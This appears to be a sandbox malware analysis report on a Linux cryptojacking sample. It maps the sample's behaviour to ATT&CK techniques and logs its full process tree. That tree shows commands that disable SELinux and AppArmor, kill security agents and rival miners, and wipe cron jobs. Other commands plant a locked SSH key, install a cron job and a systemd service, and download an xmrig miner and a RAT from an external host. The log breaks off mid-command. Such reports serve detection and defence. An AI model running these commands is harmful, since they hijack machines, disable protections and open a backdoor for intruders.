41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

persistence privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/cron.d/hermes_sync	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Creates/modifies environment variables 1 TTPs 4 IoCs

Creating/modifying environment variables is a common persistence mechanism.

Path Interception by PATH Environment Variable

persistence privilege_escalation

description	ioc	Process
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Disables SELinux 1 TTPs 1 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
724	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/hermes-core.service	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Modifies Bash startup script 2 TTPs 4 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Discovers running processes 1 TTPs 23 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
759	ps
769	ps
794	ps
897	ps
910	ps
916	ps
923	ps
929	ps
764	ps
789	ps
885	ps
935	ps
942	ps
955	ps
963	ps
976	ps
779	ps
890	ps
949	ps
969	ps
774	ps
784	ps
904	ps

Reads CPU attributes 1 TTPs 26 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 19 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/79/cmdline	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/891/status	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/889/stat	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/71/status	ps
File opened for reading	/proc/974/stat	ps
File opened for reading	/proc/679/cmdline	pgrep
File opened for reading	/proc/360/status	pgrep
File opened for reading	/proc/717/stat	ps
File opened for reading	/proc/36/stat	ps
File opened for reading	/proc/672/stat	ps
File opened for reading	/proc/658/stat	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/123/stat	ps
File opened for reading	/proc/699/status	pgrep
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/37/status	ps
File opened for reading	/proc/328/stat	ps
File opened for reading	/proc/675/stat	ps
File opened for reading	/proc/679/stat	ps
File opened for reading	/proc/699/stat	ps
File opened for reading	/proc/174/status	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/966/cmdline	ps
File opened for reading	/proc/108/cmdline	ps
File opened for reading	/proc/378/status	ps
File opened for reading	/proc/360/status	ps
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/122/status	ps
File opened for reading	/proc/123/status	ps
File opened for reading	/proc/329/cmdline	ps
File opened for reading	/proc/332/stat	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/70/cmdline	ps
File opened for reading	/proc/76/status	ps
File opened for reading	/proc/385/status	ps
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/328/cmdline	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/787/status	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/72/status	ps
File opened for reading	/proc/37/cmdline	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/359/cmdline	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/759/status	ps
File opened for reading	/proc/711/cmdline	ps
File opened for reading	/proc/745/cmdline	ps
File opened for reading	/proc/380/stat	ps

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1046	curl
1064	wget
1078	curl
1098	wget
1109	curl
1111	wget
1115	wget
1119	wget
1100	curl
1102	wget
1113	curl
1117	curl

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/sh-thd.4cQIVr	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/sh-thd.j3D5yC	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/sh-thd.FI2QqN	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/hermes_rat	wget

/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
1⤵
- Adds new SSH keys
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:711
- /bin/cat
  cat
  2⤵
  PID:715
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:724
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:727
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:729
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:731
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:734
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Enumerates kernel/hardware configuration
    PID:737
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:738
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:741
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:744
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:746
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:748
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:750
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:751
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:752
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:753
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:754
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:755
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:756
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:757
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:727
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:727
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:727
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:727
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:727
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:727
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:758
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:759
- /bin/grep
  grep -v grep
  2⤵
  PID:760
- /bin/grep
  grep aegis
  2⤵
  PID:761
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:762
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:763
- /bin/grep
  grep -v grep
  2⤵
  PID:765
- /bin/grep
  grep aliyun
  2⤵
  PID:766
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:764
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:767
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:768
- /bin/grep
  grep Yun
  2⤵
  PID:771
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:772
- /bin/grep
  grep -v grep
  2⤵
  PID:770
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:769
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:773
- /bin/grep
  grep hids
  2⤵
  PID:776
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:777
- /bin/grep
  grep -v grep
  2⤵
  PID:775
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:774
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:778
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:782
- /bin/grep
  grep -v grep
  2⤵
  PID:780
- /bin/grep
  grep cloudwalker
  2⤵
  PID:781
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:779
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:783
- /bin/grep
  grep -v grep
  2⤵
  PID:785
- /bin/grep
  grep titanagent
  2⤵
  PID:786
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:787
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:784
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:788
- /bin/grep
  grep edr
  2⤵
  PID:791
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:792
- /bin/grep
  grep -v grep
  2⤵
  PID:790
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:789
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:793
- /bin/grep
  grep sgagent
  2⤵
  PID:796
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:797
- /bin/grep
  grep -v grep
  2⤵
  PID:795
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:794
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:798
- /bin/grep
  grep :23
  2⤵
  PID:800
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:801
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:802
- /bin/grep
  grep -v -
  2⤵
  PID:803
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:804
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  - Reads runtime system information
  PID:808
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:807
- /bin/grep
  grep :143
  2⤵
  PID:806
- /bin/grep
  grep -v -
  2⤵
  PID:809
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:810
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:814
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:813
- /bin/grep
  grep -v -
  2⤵
  PID:815
- /bin/grep
  grep :2222
  2⤵
  PID:812
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:816
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:820
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:819
- /bin/grep
  grep :3333
  2⤵
  PID:818
- /bin/grep
  grep -v -
  2⤵
  PID:821
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:822
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:825
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:826
- /bin/grep
  grep :3389
  2⤵
  PID:824
- /bin/grep
  grep -v -
  2⤵
  PID:827
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:828
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:833
- /bin/grep
  grep :5555
  2⤵
  PID:831
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:832
- /bin/grep
  grep -v -
  2⤵
  PID:834
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:835
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:840
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:839
- /bin/grep
  grep :6666
  2⤵
  PID:838
- /bin/grep
  grep -v -
  2⤵
  PID:841
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:842
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:846
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:845
- /bin/grep
  grep :6665
  2⤵
  PID:844
- /bin/grep
  grep -v -
  2⤵
  PID:847
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:848
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:852
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:853
- /bin/grep
  grep :6667
  2⤵
  PID:851
- /bin/grep
  grep -v -
  2⤵
  PID:854
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:855
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:859
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:860
- /bin/grep
  grep :7777
  2⤵
  PID:858
- /bin/grep
  grep -v -
  2⤵
  PID:861
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:862
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:866
- /bin/grep
  grep -v -
  2⤵
  PID:868
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:867
- /bin/grep
  grep :8444
  2⤵
  PID:865
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:869
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:874
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:873
- /bin/grep
  grep :3347
  2⤵
  PID:872
- /bin/grep
  grep -v -
  2⤵
  PID:875
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:876
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:879
- /bin/grep
  grep :10008
  2⤵
  PID:878
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:880
- /bin/grep
  grep -v -
  2⤵
  PID:881
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:882
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:888
- /bin/grep
  grep kdevtmpfsi
  2⤵
  PID:887
- /bin/grep
  grep -v grep
  2⤵
  PID:886
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:889
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:885
- /bin/grep
  grep kinsing
  2⤵
  PID:892
- /bin/grep
  grep -v grep
  2⤵
  PID:891
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:893
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:890
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:894
- /bin/grep
  grep watchdogs
  2⤵
  PID:899
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:900
- /bin/grep
  grep -v grep
  2⤵
  PID:898
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:901
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:897
- /bin/grep
  grep kthrotlds
  2⤵
  PID:906
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:907
- /bin/grep
  grep -v grep
  2⤵
  PID:905
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:904
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:908
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:912
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:913
- /bin/grep
  grep -v grep
  2⤵
  PID:911
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:910
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:914
- /bin/grep
  grep xmrig
  2⤵
  PID:918
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:919
- /bin/grep
  grep -v grep
  2⤵
  PID:917
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:916
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:920
- /bin/grep
  grep xmr-stak
  2⤵
  PID:925
- /bin/grep
  grep -v grep
  2⤵
  PID:924
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:926
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:923
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:927
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:932
- /bin/grep
  grep minerd
  2⤵
  PID:931
- /bin/grep
  grep -v grep
  2⤵
  PID:930
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:929
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:934
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:938
- /bin/grep
  grep cryptonight
  2⤵
  PID:937
- /bin/grep
  grep -v grep
  2⤵
  PID:936
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:935
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:939
- /bin/grep
  grep watchbog
  2⤵
  PID:944
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:945
- /bin/grep
  grep -v grep
  2⤵
  PID:943
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:942
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:946
- /bin/grep
  grep ddg
  2⤵
  PID:951
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:952
- /bin/grep
  grep -v grep
  2⤵
  PID:950
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:949
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:953
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:958
- /bin/grep
  grep kworker
  2⤵
  PID:957
- /bin/grep
  grep -v grep
  2⤵
  PID:956
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:959
- - /usr/local/sbin/kill
    kill -9 4 5 6 23 74 75 79 81 82 108 227
    3⤵
    PID:961
- - /usr/local/bin/kill
    kill -9 4 5 6 23 74 75 79 81 82 108 227
    3⤵
    PID:961
- - /usr/sbin/kill
    kill -9 4 5 6 23 74 75 79 81 82 108 227
    3⤵
    PID:961
- - /usr/bin/kill
    kill -9 4 5 6 23 74 75 79 81 82 108 227
    3⤵
    PID:961
- - /sbin/kill
    kill -9 4 5 6 23 74 75 79 81 82 108 227
    3⤵
    PID:961
- - /bin/kill
    kill -9 4 5 6 23 74 75 79 81 82 108 227
    3⤵
    - Reads CPU attributes
    PID:961
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:955
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:966
- /bin/grep
  grep sustse
  2⤵
  PID:965
- /bin/grep
  grep -v grep
  2⤵
  PID:964
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:967
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:963
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:972
- /bin/grep
  grep sustse3
  2⤵
  PID:971
- /bin/grep
  grep -v grep
  2⤵
  PID:970
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:974
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:969
- /bin/grep
  grep systemctI
  2⤵
  PID:978
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:979
- /bin/grep
  grep -v grep
  2⤵
  PID:977
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:980
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:976
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:982
- /bin/rm
  rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs "/etc/cron.d/*" /var/spool/cron/crontabs /etc/crontab
  2⤵
  PID:985
- /bin/mkdir
  mkdir -p /root/.ssh
  2⤵
  PID:987
- /bin/chmod
  chmod 700 /root/.ssh
  2⤵
  PID:988
- /bin/grep
  grep -q hermes_worm /root/.ssh/authorized_keys
  2⤵
  PID:990
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:991
- /usr/bin/chattr
  chattr +i /root/.ssh/authorized_keys
  2⤵
  PID:993
- /bin/grep
  grep -q analytics.js /root/.bashrc
  2⤵
  PID:995
- /bin/grep
  grep -q analytics.js /root/.profile
  2⤵
  PID:998
- /bin/grep
  grep -q analytics.js /home/user/.bashrc
  2⤵
  PID:1000
- /bin/grep
  grep -q analytics.js /home/user/.profile
  2⤵
  PID:1001
- /bin/cat
  cat
  2⤵
  PID:1002
- /bin/chmod
  chmod 644 /etc/cron.d/hermes_sync
  2⤵
  PID:1004
- /bin/cat
  cat
  2⤵
  PID:1006
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:1007
- /bin/systemctl
  systemctl enable hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:1025
- /bin/systemctl
  systemctl start hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:1038
- /bin/uname
  uname -m
  2⤵
  PID:1043
- /usr/bin/pgrep
  pgrep -f hermes_miner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1044
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1045
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1046
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1064
- /bin/sleep
  sleep 2
  2⤵
  PID:1067
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1078
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1098
- /bin/sleep
  sleep 2
  2⤵
  PID:1099
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1100
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1102
- /bin/sleep
  sleep 2
  2⤵
  PID:1103
- /bin/uname
  uname -m
  2⤵
  PID:1106
- /usr/bin/pgrep
  pgrep -f hermes_rat
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1107
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1108
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1109
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1111
- /bin/sleep
  sleep 2
  2⤵
  PID:1112
- /usr/bin/curl
